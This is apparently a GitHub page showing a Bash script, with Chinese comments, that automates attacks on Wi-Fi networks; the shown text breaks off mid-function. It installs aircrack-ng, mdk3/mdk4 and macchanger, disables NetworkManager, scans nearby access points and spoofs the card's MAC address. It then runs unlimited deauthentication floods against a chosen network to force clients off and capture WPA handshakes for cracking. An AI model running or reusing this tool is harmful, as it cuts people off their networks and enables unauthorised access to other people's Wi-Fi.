-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathwireless-handshaker.sh
1449 lines (1341 loc) · 41.6 KB
/
wireless-handshaker.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
#
#******************************************************************************************
#Author: QianSong
#QQ: xxxxxxxxxx
#Date: 2023-11-04
#FileName: wireless-handshaker.sh
#URL: https://github.com
#Description: The test script
#Copyright (C): QianSong 2023 All rights reserved
#******************************************************************************************
#ding yi bian liang
work_dir="$(dirname "$(realpath -s "$0")")/temp"
result_dir="$(dirname "$(realpath -s "$0")")/result"
#reconfig work_dir & result_dir
random_str="$(
</dev/urandom tr -dc 0-9A-Za-z | head -c 16
echo
)"
time_str="$(date "+%F-%H%M%S")"
work_dir="/tmp/wireless-handshaker-${random_str}-${time_str}"
home_dir="$(find /home -maxdepth 1 -type d | grep -Ev "^(/home)$" | head -n 1)"
if [ -d "${home_dir:-/home/kali}/Desktop" ]; then
result_dir="${home_dir:-/home/kali}/Desktop/cap-location"
elif [ -d "${home_dir:-/home/kali}/桌面" ]; then
result_dir="${home_dir:-/home/kali}/桌面/cap-location"
else
result_dir="${home_dir:-/home/kali}/Desktop/cap-location"
fi
#general vars
force_killing_network_manager=1
#pan duan shi fou root yon hu yun xing
if [ "${UID}" != "0" ]; then
echo -e "\033[31mPermission denied, please run this script as root.\033[0m"
exit 1
fi
#pan duan work_dir shi fou cun zai
if [ ! -d "${work_dir}" ]; then
mkdir "${work_dir}" -p
fi
#pan duan result_dir shi fou cun zai
if [ ! -d "${result_dir}" ]; then
mkdir "${result_dir}" -p
fi
#######################################
# 打印使用方法
# Globals:
# none
# Arguments:
# none
# Outputs:
# none
# Returns:
# none
#######################################
function print_usage() {
echo "用法:bash $0 [选项] [选项值]"
echo ""
echo "选项:"
echo " -k, --killing-network-manager 是否强制关闭网卡干扰进程network-manager服务,1代表是(Default),0代表否"
echo " -h, --help 输出此帮助信息并退出"
}
#######################################
# 获取用户传入的脚本参数,并作相应处理
# Globals:
# ${force_killing_network_manager}、
# Arguments:
# "$@"
# Outputs:
# none
# Returns:
# none
#######################################
function get_user_option_paramater() {
local opts
opts="$(getopt -q -o k:,h -l killing-network-manager:,help -- "$@")"
if [ $? -ne 0 ]; then
print_usage
exit 1
fi
eval set -- "${opts}"
while true; do
case "$1" in
-k | --killing-network-manager)
if [ "$2" == "1" ]; then
force_killing_network_manager=1
elif [ "$2" == "0" ]; then
force_killing_network_manager=0
else
echo -e "\033[31mBad option \033[37m$1 $2\033[0m"
print_usage
exit 1
fi
shift 2
;;
-h | --help)
print_usage
shift 1
exit 0
;;
--)
shift 1
break
;;
*)
echo -e "\033[31mInternal error\033[0m"
exit 1
;;
esac
done
}
#######################################
# da ying app huan ying jie mian tu pian JPG
# Globals:
# none
# Arguments:
# none
# Outputs:
# yi ge tu pian app logo
# Returns:
# none
#######################################
function logo() {
# print fuo zhu png
printf "%s\\n" ''
printf "%s\\n" ' _oo0oo_'
printf "%s\\n" ' 088888880'
printf "%s\\n" ' 88" . "88'
printf "%s\\n" ' (| -_- |)'
printf "%s\\n" ' 0\ = /0'
printf "%s\\n" ' ___/'"'"'---'"'"'\___'
printf "%s\\n" ' .'"'"' \\\\| |// '"'"'.'
printf "%s\\n" ' / \\\\||| : |||// \\.'
printf "%s\\n" ' /_ ||||| -:- |||||- \\.'
printf "%s\\n" ' | | \\\\\\ - /// | |'
printf "%s\\n" ' | \_| '"'"''"'"'\---/'"'"''"'"' |_/ |'
printf "%s\\n" ' \ .-\__ '"'"'-'"'"' __/-. /'
printf "%s\\n" ' ___'"'"'. .'"'"' /--.--\ '"'"'. .'"'"'___'
printf "%s\\n" ' ."" '"'"'< '"'"'.___\_<|>_/___.'"'"' >'"'"' "".'
printf "%s\\n" ' | | : '"'"'- '\\\''.;'"'"'\ _ /'"'"';.'"'"'/ - '"'"' : | |'
printf "%s\\n" ' \ \ '"'"'_. \_ __\ /__ _/ .-'"'"' / /'
printf "%s\\n" ' ====='"'"'-.____'"'"'.___ \_____/___.-'"'"'____.-'"'"'====='
printf "%s\\n" ' '"'"'=---='"'"''
printf "%s\\n" ''
printf "%s\\n" ' ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^'
printf "%s\\n" ' 佛祖保佑 iii 永不BUG'
printf "%s\\n" ''
}
#######################################
# da ying app huan ying jie mian tu pian JPG
# Globals:
# none
# Arguments:
# none
# Outputs:
# yi ge tu pian app logo
# Returns:
# none
#######################################
function print_app_info() {
# ding yi color vars
local color_1='\033[1;30m'
local color_2='\033[1;31m'
local color_3='\033[1;32m'
local color_4='\033[1;34m'
local color_5='\033[1;35m'
local color_6='\033[1;36m'
local color_7='\033[1;33m'
local color_8='\033[1;37m'
local RST='\033[0m'
# print first jpg
clear
# zifu hua shen cheng fang fa: toilet -f smblock -t 'ATTACKER_Q ATTACKER_Q'
# an zhuang zi fu hua tool: apt install toilet
echo -e "${color_2}▞▀▖▀▛▘▀▛▘▞▀▖▞▀▖▌ ▌▛▀▘▛▀▖ ▞▀▖ ▞▀▖▀▛▘▀▛▘▞▀▖▞▀▖▌ ▌▛▀▘▛▀▖ ▞▀▖${RST}"
echo -e "${color_2}▙▄▌ ▌ ▌ ▙▄▌▌ ▙▞ ▙▄ ▙▄▘ ▌ ▌ ▙▄▌ ▌ ▌ ▙▄▌▌ ▙▞ ▙▄ ▙▄▘ ▌ ▌${RST}"
echo -e "${color_2}▌ ▌ ▌ ▌ ▌ ▌▌ ▖▌▝▖▌ ▌▚ ▌▚▘ ▌ ▌ ▌ ▌ ▌ ▌▌ ▖▌▝▖▌ ▌▚ ▌▚▘${RST}"
echo -e "${color_2}▘ ▘ ▘ ▘ ▘ ▘▝▀ ▘ ▘▀▀▘▘ ▘▀▀▀▝▘▘ ▘ ▘ ▘ ▘ ▘ ▘▝▀ ▘ ▘▀▀▘▘ ▘▀▀▀▝▘▘${RST}"
echo -e " ${color_3}~=:by XxxxXxxx1:=~${RST}"
echo -e " > ${color_4}\033[4mhttps://github.com/XxxxXxxx1${RST} <"
echo -e ""
# loop print fuo zhu png
local i r_num r_char r_color
IFS=$'\n'
for i in $(logo); do
r_num="$(awk -v random="${RANDOM}" 'BEGIN{print random % 8 + 1}')"
r_char="\$color_${r_num}"
r_color="$(eval "echo \"${r_char}\"")"
echo -e "${r_color}${i}${RST}"
sleep 0.1
done
# print process info
local char
i=1
while [ "${i}" -lt 5 ]; do
for char in "/" "." "\\"; do
echo -n " [${char}] "
echo -ne "\r\r"
sleep 0.2
done
i=$((i + 1))
done
echo -e "\n"
sleep 0.3
}
#######################################
# 安装必要的组件工具
# Globals:
# none
# Arguments:
# 传入参数为软件包名称
# Outputs:
# 输出组件的安装过程信息
# Returns:
# none
#######################################
function install_dependent_software() {
apt update
if [ $? -ne 0 ]; then
echo -e "\033[31mnetwork error\033[0m"
exit 2
fi
apt install "$1" -y
if [ $? -ne 0 ]; then
echo -e "\033[31mnetwork error\033[0m"
exit 3
fi
}
#######################################
# 安装必要的组件工具
# Globals:
# none
# Arguments:
# none
# Outputs:
# 输出组件的安装过程信息
# Returns:
# none
#######################################
function install_essensiel_tool() {
#pan duan shi fou an zhuang le yi lai ruan jian
local i exit_code
for i in mdk3 mdk4 airmon-ng airodump-ng xterm dos2unix aireplay-ng macchanger cowpatty; do
type "${i}" >/dev/null 2>&1
exit_code=$?
if [ "${exit_code}" -eq 0 ]; then
echo -e "${i}.....................\033[32mOK\033[0m"
else
echo -e "${i}.....................\033[33mInstalling\033[0m"
case "${i}" in
mdk3)
install_dependent_software mdk3
;;
mdk4)
install_dependent_software mdk4
;;
airmon-ng)
install_dependent_software aircrack-ng
;;
airodump-ng)
install_dependent_software aircrack-ng
;;
aireplay-ng)
install_dependent_software aircrack-ng
;;
xterm)
install_dependent_software xterm
;;
dos2unix)
install_dependent_software dos2unix
;;
macchanger)
install_dependent_software macchanger
;;
cowpatty)
install_dependent_software cowpatty
;;
*)
echo -e "\033[31mUknown error..\033[0m"
exit 4
;;
esac
fi
sleep 0.1
done
}
#######################################
# 杀死网卡干扰进程
# Globals:
# none
# Arguments:
# none
# Outputs:
# none
# Returns:
# none
#######################################
function kill_busy_process() {
airmon-ng check kill >/dev/null 2>&1
if [ $? -ne 0 ]; then
echo -e "\033[31mError for check kill Disturbed process, quit !\033[0m"
exit 1
fi
systemctl stop NetworkManager.service >/dev/null 2>&1
if [ $? -ne 0 ]; then
echo -e "\033[31mError for check kill Disturbed process, quit !\033[0m"
exit 1
fi
systemctl disable NetworkManager.service >/dev/null 2>&1
if [ $? -ne 0 ]; then
echo -e "\033[31mError for check kill Disturbed process, quit !\033[0m"
exit 1
fi
systemctl stop wpa_supplicant.service >/dev/null 2>&1
if [ $? -ne 0 ]; then
echo -e "\033[31mError for check kill Disturbed process, quit !\033[0m"
exit 1
fi
}
#######################################
# 打印一个简短提示信息
# Globals:
# none
# Arguments:
# none
# Outputs:
# none
# Returns:
# none
#######################################
function print_notice() {
echo -e "\n"
echo -e "\033[33m加载完毕!正在为您启动,请稍等鸡儿几秒钟.......\033[0m"
sleep 5
clear
}
#######################################
# 后代进程ID查找函数
# Globals:
# none
# Arguments:
# 传入参数:数字类型pid号码
# Outputs:
# none
# Returns:
# none
#######################################
function get_treepid() {
local pid sep opts
opts="$(getopt -q -o s:,p: -l sep:,pid: -- "$@")" || return 1
eval set -- "${opts}"
while true; do
case "$1" in
-s | --sep)
sep="$2"
shift 2
;;
-p | --pid)
pid="$2"
shift 2
;;
--)
shift 1
break
;;
*)
echo "Invalid usage" >&2
return 1
;;
esac
done
sep="${sep:- }"
pid="${pid:-$1}"
if [[ -z "${pid}" ]]; then
return 1
fi
ps -eo ppid,pid --no-headers | awk -v root="${pid}" -v sep="${sep}" '
function dfs(u) {
if (pids)
pids = pids sep u;
else
pids = u;
if (u in edges)
for (v in edges[u])
dfs(v);
}
{
edges[$1][$2] = 1;
if ($2 == root)
root_isalive = 1;
}
END {
if (root_isalive)
dfs(root);
if (pids)
print pids;
}'
}
#######################################
# 扫描指定频段所有WiFi信号
# Globals:
# ${scan_pid}、
# Arguments:
# 传入参数:扫描频段类型a、bg、bga
# Outputs:
# none
# Returns:
# none
#######################################
function scan_all_ap() {
local i mom_pid child_pid mom_pid_sum iterm
for i in 1; do
rm -rf "${work_dir:?}/dump"* >/dev/null 2>&1
sleep 2
xterm -geometry "107-0+0" -bg "#000000" -fg "#FFFFFF" -title "Scan all AP" -e airodump-ng "${wlan_card}" --band "$1" -w "${work_dir}/dump" &
scan_pid=$!
sleep 2
mom_pid="${scan_pid}"
child_pid="$(get_treepid "${mom_pid}" | awk '{for(i = 1; i <= NF; i++) printf("%s%s", $i,"\n")}')"
mom_pid_sum="$(ps -ef | awk "NR>1"'{print $2}' | grep -E "^${mom_pid}$" | grep -v "grep" | wc -l)"
while true; do
if [ "${mom_pid_sum}" -gt 0 ]; then
mom_pid_sum="$(ps -ef | awk "NR>1"'{print $2}' | grep -E "^${mom_pid}$" | grep -v "grep" | wc -l)"
sleep 1
else
for iterm in ${child_pid}; do
kill "${iterm}" >/dev/null 2>&1
done
break
fi
done
sleep 2
done
}
#######################################
# 准备信号列表与客户端列表文件
# Globals:
# none
# Arguments:
# none
# Outputs:
# none
# Returns:
# none
#######################################
function prepare_server_client_list() {
local target_line server_mac server_name server_mac_char
rm -rf "${work_dir:?}/server_list.csv" >/dev/null 2>&1
rm -rf "${work_dir:?}/client_list.csv" >/dev/null 2>&1
rm -rf "${work_dir:?}/client.txt" >/dev/null 2>&1
sleep 2
target_line="$(cat "${work_dir}/dump-01.csv" | awk '/(^Station[s]?|^Client[es]?)/{print NR}')"
target_line="$(awk -v target_line="${target_line}" 'BEGIN{print target_line - 1}')"
cat "${work_dir}/dump-01.csv" | head -n "${target_line}" | dos2unix | grep -E -v --text "^$" | sed -rn '1p' >"${work_dir:?}/server_list.csv"
cat "${work_dir}/dump-01.csv" | head -n "${target_line}" | dos2unix | grep -E -v --text "^$" | sed -r '1d' | sort -t "," -dk 1 >>"${work_dir:?}/server_list.csv"
cat "${work_dir}/dump-01.csv" | tail -n +"${target_line}" | dos2unix | grep -E -v --text "^$" >"${work_dir:?}/client_list.csv"
#zhun bei sniff client list
echo -e "server_mac,server_name" >>"${work_dir:?}/client.txt"
while IFS=, read -r _ _ _ _ _ server_mac server_name; do
server_mac_char="${#server_mac}"
if [ "${server_mac_char}" -ge 17 ]; then
server_mac="$(echo "${server_mac}" | awk '{gsub(/ /,""); print}')"
echo -e "${server_mac},${server_name}" >>"${work_dir:?}/client.txt"
fi
done <"${work_dir}/client_list.csv"
sleep 2
}
#######################################
# 格式化显示信号列表
# Globals:
# none
# Arguments:
# none
# Outputs:
# none
# Returns:
# none
#######################################
function display_result_info() {
local server_list_total exp_mac chars_mac sp1 sp2 sp4 sp5 sp6 airodump_color normal_color client enc_length exp_channel exp_enc exp_auth exp_power exp_idlength exp_essid
server_list_total="$(cat "${work_dir}/server_list.csv" | grep -E --text -v "^$" | sed -r '1d' | awk -F "," '{if (length($1) >= 17) {print $0}}' | wc -l)"
if [ "${server_list_total}" -gt 0 ]; then
echo -e "\033[32m 序号 BSSID 信道 信号强度 加密方式 ESSID\033[0m"
echo -e "-----------------------------------------------------------------------------------"
local i=0
local valid_channels_24_and_5_ghz_regexp="[0-9]{1,3}"
while IFS=, read -r exp_mac _ _ exp_channel _ exp_enc _ exp_auth exp_power _ _ _ exp_idlength exp_essid _; do
chars_mac="${#exp_mac}"
if [ "${chars_mac}" -ge 17 ]; then
i=$((i + 1))
if [ "${exp_power}" -lt 0 ]; then
if [ "${exp_power}" -eq -1 ]; then
exp_power=0
else
exp_power=$((exp_power + 100))
fi
fi
exp_power="$(echo "${exp_power}" | awk '{gsub(/ /,""); print}')"
exp_essid=${exp_essid:1:${exp_idlength}}
if [[ ${exp_channel} =~ ${valid_channels_24_and_5_ghz_regexp} ]]; then
exp_channel="$(echo "${exp_channel}" | awk '{gsub(/ /,""); print}')"
else
exp_channel=0
fi
if [[ "${exp_essid}" = "" ]] || [[ -z "${exp_essid}" ]]; then
exp_essid="(Hidden Network)"
fi
exp_enc="$(echo "${exp_enc}" | awk '{print $1}')"
if [ "${i}" -le 9 ]; then
sp1=" "
elif [[ "${i}" -ge 10 ]] && [[ "${i}" -le 99 ]]; then
sp1=" "
else
sp1=""
fi
if [ "${exp_channel}" -le 9 ]; then
sp2=" "
if [ "${exp_channel}" -eq 0 ]; then
exp_channel="-1"
fi
if [ "${exp_channel}" -lt 0 ]; then
sp2=" "
fi
elif [[ "${exp_channel}" -ge 10 ]] && [[ "${exp_channel}" -lt 99 ]]; then
sp2=" "
else
sp2=""
fi
if [ "${exp_power}" = "" ]; then
exp_power=0
fi
if [ "${exp_power}" -le 9 ]; then
sp4=" "
else
sp4=""
fi
airodump_color="\033[37m"
normal_color="\033[0m"
client="$(grep "${exp_mac}" <"${work_dir}/client.txt")"
if [ "${client}" != "" ]; then
airodump_color="\033[33m"
client="*"
sp5=""
else
sp5=" "
fi
enc_length="${#exp_enc}"
if [ "${enc_length}" -gt 3 ]; then
sp6=""
elif [ "${enc_length}" -eq 0 ]; then
sp6=" "
else
sp6=" "
fi
echo -e "${airodump_color}${sp1}[${i}]${client} ${sp5}${exp_mac} ${sp2}${exp_channel} ${sp4}${exp_power}% ${exp_enc}${sp6} ${exp_essid}${normal_color}"
fi
done <"${work_dir}/server_list.csv"
echo -e "-----------------------------------------------------------------------------------"
#IFS=$'\n'
#a=1
#for i in $(cat ${work_dir}/server_list.csv|egrep --text -v "^$"|sed -r '1d'|awk -F "," '{if (length($1) >= 17) {print $0}}')
#do
# temp_mac=$(echo ${i}|awk -F "," '{print $1}')
# cat ${work_dir}/client.txt|grep --text ${temp_mac} >/dev/null 2>&1
# client_stat=$?
# if [ "${client_stat}" == "0" ]; then
# echo -e "\033[33m[$a]\033[0m \033[32m$i\033[0m"
# else
# echo -e "\033[33m[$a]\033[0m $i"
# fi
# let a++
#done
else
local you_zl
echo -e "\033[31mNo network at the list, press [enter] to restart new hack\033[0m"
read -rp "> " you_zl
hack_menu
fi
}
#######################################
# 伪装网卡Mac地址
# Globals:
# none
# Arguments:
# none
# Outputs:
# none
# Returns:
# none
#######################################
function changer_mac_addr() {
ip link set "${wlan_card}" down >/dev/null 2>&1
macchanger -r "${wlan_card}" >/dev/null 2>&1
ip link set "${wlan_card}" up >/dev/null 2>&1
}
#######################################
# 主抓包函数
# Globals:
# ${mac_id}、${mac_address}、${target_ap_name}、${cur_channel}
# Arguments:
# 传入信道扫描标识,支持:a、bg、bga
# Outputs:
# none
# Returns:
# none
#######################################
function handshake_bga() {
#shao miao wifi into text wifi_info.txt
echo "starting scan wifi info into ${work_dir}/dump-01.csv...."
echo -e "\n"
echo -e "\033[33m提示:当目标WiFi出现了,请手动关掉扫描窗口进入下一步!\033[0m"
scan_all_ap "$1"
echo -e "\033[32mDone!!\033[0m"
#xian shi sao miao jie guo
dos2unix "${work_dir}/dump-01.csv" >/dev/null 2>&1
prepare_server_client_list
#xuan zhe mu biao AP mac
clear
display_result_info
#xuan zhe yi ge xin hao
local ap_num
read -rp "选择您要抓包的WiFi序号[num]: " ap_num
while true; do
if [ -z "${ap_num}" ]; then
clear
display_result_info
echo -e "\033[33mAP_num must be a number and can not be null!!\033[0m"
read -rp "选择您要抓包的WiFi序号[num]: " ap_num
elif [[ ! "${ap_num}" =~ ^[0-9]+$ ]]; then
clear
display_result_info
echo -e "\033[33mAP_num must be a number and can not be null!!\033[0m"
read -rp "选择您要抓包的WiFi序号[num]: " ap_num
elif [ "${ap_num}" -gt "$(cat "${work_dir}/server_list.csv" | grep -E --text -v "^$" | sed -r '1d' | awk -F "," '{if (length($1) >= 17) {print $0}}' | wc -l)" ]; then
clear
display_result_info
echo -e "\033[33mAP_num con't be great of total number for ap list!!\033[0m"
read -rp "选择您要抓包的WiFi序号[num]: " ap_num
elif [ "${ap_num}" -eq 0 ]; then
clear
display_result_info
echo -e "\033[33mAP_num is must be great of 0!!\033[0m"
read -rp "选择您要抓包的WiFi序号[num]: " ap_num
else
break
fi
done
#ding yi mu biao AP mac
mac_id="$(cat "${work_dir}/server_list.csv" | grep -E --text -v "^$" | sed -r '1d' | awk -F "," '{if (length($1) >= 17) {print $0}}' | awk -F "," "NR==${ap_num}"'{print $1}')"
if [ -z "${mac_id}" ] || [ "${mac_id}" == "" ]; then
echo -e "\033[31mThe target ap mac is null ,now program is exit.\033[0m"
exit 8
fi
#ding yi mu biao AP mac address
mac_address="${mac_id//:/-}"
#ding yi mu miao AP name
target_ap_name="$(cat "${work_dir}/server_list.csv" | grep --text "${mac_id}" | awk -F "," '{if (NF>1) {print $(NF-1)}}' | awk '{print $1}')"
#ding yi dang qian xindao
cur_channel="$(cat "${work_dir}/server_list.csv" | grep --text "${mac_id}" | awk '{print $6}' | awk -F "," '{print $1}' | grep -E -v "^0$" | grep -E -v "-" | grep -E -v "[0-9]+e" | sort | uniq -c | sort -nk 1 | tail -n 1 | awk "NR==1"'{print $2}')"
local you_zl exit_code
echo -e "\033[36m已选择目标mac:\033[37m[${mac_id}] \033[36m已选择目标AP:\033[37m[${target_ap_name}] \033[36m已选择目标信道:\033[37m[${cur_channel}]\033[0m"
echo -ne "\033[33m按[Enter]键继续...\033[0m"
read -r you_zl
local regexp="^(1|2)$"
while true; do
exec_handshake_cuptrue
handshake_check
exit_code=$?
if [ "${exit_code}" -eq 0 ]; then
display_cap_location
echo -e "\033[32m恭喜抓取握手包成功了\033[0m"
echo -e "\n"
echo -e "\033[33m你需要再抓取其它的目标吗?\033[0m"
echo -e "--------"
echo -e "\033[32m1).\033[0m yes重新扫描并抓取其它目标"
echo -e "\033[32m2).\033[0m no退出程序"
echo -e "--------"
read -rp "> " you_zl
while [[ ! "${you_zl}" =~ ${regexp} ]]; do
echo -e "\033[31mInvalid input.\033[0m"
read -rp "> " you_zl
done
case "${you_zl}" in
1)
break
;;
2)
hard_core_exit
;;
esac
else
echo -e "\033[31m似乎抓取握手包失败了\033[0m"
echo -e "\n"
echo -e "\033[33m你需要重新尝试吗?\033[0m"
echo -e "--------"
echo -e "\033[32m1).\033[0m yes再来一次"
echo -e "\033[32m2).\033[0m no重新扫描新的信号"
echo -e "--------"
read -rp "> " you_zl
while [[ ! "${you_zl}" =~ ${regexp} ]]; do
echo -e "\033[31mInvalid input.\033[0m"
read -rp "> " you_zl
done
case "${you_zl}" in
1)
continue
;;
2)
break
;;
esac
fi
done
hack_menu
}
#######################################
# 启动抓包过程函数
# Globals:
# ${attack_pid}、${handshake_pid}
# Arguments:
# none
# Outputs:
# none
# Returns:
# none
#######################################
function exec_handshake_cuptrue() {
#kai qi zhua bao xterm
handshake_pid=""
local i
if [ -z "${target_ap_name}" ] || [ "${target_ap_name}" == "" ]; then
echo -e "\033[35mThe handshake program xterm have started.\033[0m"
sleep 1
for i in 1; do
rm -rf "${result_dir:?}/${mac_address:?}"* >/dev/null 2>&1
sleep 2
changer_mac_addr
xterm -geometry "107-0+0" -bg "#000000" -fg "#FFFFFF" -title "Handshake AP for ${mac_id}" -e airodump-ng --ignore-negative-one -d "${mac_id}" -w "${result_dir}/${mac_id//:/-}" -c "${cur_channel}" -a "${wlan_card}" &
handshake_pid=$!
sleep 2
done
else
echo -e "\033[35mThe handshake program xterm have started.\033[0m"
sleep 1
for i in 1; do
rm -rf "${result_dir:?}/${target_ap_name:?}-${mac_address:?}"* >/dev/null 2>&1
sleep 2
changer_mac_addr
xterm -geometry "107-0+0" -bg "#000000" -fg "#FFFFFF" -title "Handshake AP for ${mac_id}" -e airodump-ng --ignore-negative-one -d "${mac_id}" -w "${result_dir}/${target_ap_name}-${mac_id//:/-}" -c "${cur_channel}" -a "${wlan_card}" &
handshake_pid=$!
sleep 2
done
fi
#kai qi gon ji mdk xterm
attack_pid=""
case "${attack_mode}" in
"aireplay-ng_deauth")
iw dev "${wlan_card}" set channel "${cur_channel}" >/dev/null 2>&1
xterm -geometry "85+0+0" -bg "#000000" -fg "#FF0009" -title "Duan kai conn on ${mac_id}" -e "${attack_command}" -0 0 -a "${mac_id}" --ignore-negative-one "${wlan_card}" &
attack_pid=$!
sleep 2
;;
"mdk3_deauth")
echo "${mac_id}" >"${work_dir:?}/black_mac_list.txt"
echo "" >>"${work_dir:?}/black_mac_list.txt"
xterm -geometry "85+0+0" -bg "#000000" -fg "#FF0009" -title "Duan kai conn on ${mac_id}" -e "${attack_command}" "${wlan_card}" d -b "${work_dir}/black_mac_list.txt" -c "${cur_channel}" &
attack_pid=$!
sleep 2
;;
"mdk4_deauth")
echo "${mac_id}" >"${work_dir:?}/black_mac_list.txt"
echo "" >>"${work_dir:?}/black_mac_list.txt"
xterm -geometry "85+0+0" -bg "#000000" -fg "#FF0009" -title "Duan kai conn on ${mac_id}" -e "${attack_command}" "${wlan_card}" d -b "${work_dir}/black_mac_list.txt" -c "${cur_channel}" &
attack_pid=$!
sleep 2
;;
esac
#shu chu cao zuo ti shi info
echo -e "\n"
echo -e "\033[33m提示:当目标WiFi握手包出现了,请手动关掉抓包窗口进入下一步!\033[0m"
#guan bi gon ji xterm
local mom_pid child_pid mom_pid_sum iterm
sleep 15
echo -e "\033[32mClose the ${attack_mode} attack xterm...\033[0m"
mom_pid="${attack_pid}"
child_pid="$(get_treepid "${mom_pid}" | awk '{for(i = 1; i <= NF; i++) printf("%s%s", $i,"\n")}')"
kill "${mom_pid}" >/dev/null 2>&1
mom_pid_sum="$(ps -ef | awk "NR>1"'{print $2}' | grep -E "^${mom_pid}$" | grep -v "grep" | wc -l)"
while true; do
if [ "${mom_pid_sum}" -gt 0 ]; then
mom_pid_sum="$(ps -ef | awk "NR>1"'{print $2}' | grep -E "^${mom_pid}$" | grep -v "grep" | wc -l)"
sleep 1
else
for iterm in ${child_pid}; do
kill "${iterm}" >/dev/null 2>&1
done
break
fi
done
sleep 2
#guan bi handshake pid de jian ting program
local i=1
mom_pid="${handshake_pid}"
child_pid="$(get_treepid "${mom_pid}" | awk '{for(i = 1; i <= NF; i++) printf("%s%s", $i,"\n")}')"
mom_pid_sum="$(ps -ef | awk "NR>1"'{print $2}' | grep -E "^${mom_pid}$" | grep -v "grep" | wc -l)"
while true; do
if [ "${mom_pid_sum}" -gt 0 ]; then
mom_pid_sum="$(ps -ef | awk "NR>1"'{print $2}' | grep -E "^${mom_pid}$" | grep -v "grep" | wc -l)"
echo -n "Now ${i} seconds has passd.."
echo -ne "\r\r"
sleep 1
i=$((i + 1))
else
for iterm in ${child_pid}; do
kill "${iterm}" >/dev/null 2>&1
done
break
fi
done
sleep 2
}
#######################################
# 握手包有效性验证函数
# Globals:
# none
# Arguments:
# none
# Outputs:
# none
# Returns:
# 0或1, 0表示握手包有效,1表示握手包无效
#######################################
function handshake_check() {
local exit_code
if [ -z "${target_ap_name}" ] || [ "${target_ap_name}" == "" ]; then
echo -e "\033[35mChecking handshake \033[34m[${result_dir}/${mac_id//:/-}-01.cap]\033[0m \033[35m....\033[0m"
sleep 3
cowpatty -c -r "${result_dir}/${mac_id//:/-}"-01.cap >/dev/null 2>&1
exit_code=$?
if [ "${exit_code}" -eq 0 ]; then
echo -e "\033[32mThe target handshake \033[34m[${result_dir}/${mac_id//:/-}-01.cap]\033[0m \033[32mcheck sucessfully \033[0m"
return 0
else
echo -e "\033[31mThe target handshake \033[34m[${result_dir}/${mac_id//:/-}-01.cap]\033[0m \033[31mcheck faild \033[0m"
return 1
fi
else
echo -e "\033[35mChecking handshake \033[34m[${result_dir}/${target_ap_name}-${mac_id//:/-}-01.cap]\033[0m \033[35m....\033[0m"
sleep 3
cowpatty -c -r "${result_dir}/${target_ap_name}-${mac_id//:/-}"-01.cap >/dev/null 2>&1
